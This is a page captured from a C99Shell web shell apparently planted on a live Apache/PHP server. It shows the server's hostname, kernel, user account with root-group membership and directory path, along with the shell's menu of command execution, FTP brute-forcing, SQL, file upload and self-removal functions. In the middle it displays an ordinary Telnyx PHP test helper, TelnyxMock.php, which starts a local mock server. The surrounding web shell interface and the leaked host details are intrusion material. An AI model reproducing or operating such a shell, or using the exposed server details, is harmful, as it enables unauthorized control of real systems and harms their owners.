!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/telnyx/telnyx-php/tests/   drwxr-xr-x
Free 29.35 GB of 117.98 GB (24.88%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     TelnyxMock.php (2.58 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Telnyx;

use 
\Symfony\Component\Process\Process;

class 
TelnyxMock
{
    protected static 
$process null;
    protected static 
$port = -1;

    const 
PATH_SPEC __DIR__ '/openapi/spec3.json';
    const 
PATH_FIXTURES __DIR__ '/openapi/fixtures3.json';

    
/**
     * Starts a telnyx-mock process with custom OpenAPI spec and fixtures files, if they exist.
     *
     * @return bool true if a telnyx-mock process was started, false otherwise.
     */
    
public static function start()
    {
        if (!
file_exists(self::PATH_SPEC)) {
            return 
false;
        }

        if (!
is_null(static::$process) && static::$process->isRunning()) {
            echo 
"telnyx-mock already running on port " . static::$port "\n";
            return 
true;
        }

        static::
$port = static::findAvailablePort();

        echo 
"Starting telnyx-mock on port " . static::$port "...\n";

        static::
$process = new Process(join(' ', [
            
'telnyx-mock',
            
'-http-port',
            static::
$port,
            
'-spec',
            
self::PATH_SPEC,
            
'-fixtures',
            
self::PATH_FIXTURES,
        ]));
        static::
$process->start();
        
sleep(1);

        if (static::
$process->isRunning()) {
            echo 
"Started telnyx-mock, PID = " . static::$process->getPid() . "\n";
        } else {
            die(
"telnyx-mock terminated early, exit code = " . static::$process->wait());
        }

        return 
true;
    }

    
/**
     * Stops the telnyx-mock process, if one was started. Otherwise do nothing.
     */
    
public static function stop()
    {
        if (
is_null(static::$process) || !static::$process->isRunning()) {
            return;
        }

        echo 
"Stopping telnyx-mock...\n";
        static::
$process->stop(0SIGTERM);
        static::
$process->wait();
        static::
$process null;
        static::
$port = -1;
        echo 
"Stopped telnyx-mock\n";
    }

    
/**
     * Returns the port number used by the telnyx-mock process.
     *
     * @return int the port number used by telnyx-mock, or -1 if no telnyx-mock process was started
     */
    
public static function getPort()
    {
        return static::
$port;
    }

    
/**
     * Finds a random available TCP port.
     *
     * @return int the port number
     */
    
private static function findAvailablePort()
    {
        
$sock socket_create(AF_INETSOCK_STREAMSOL_TCP);
        
socket_bind($sock"localhost"0);
        
$addr null;
        
$port = -1;
        
socket_getsockname($sock$addr$port);
        
socket_close($sock);
        return 
$port;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--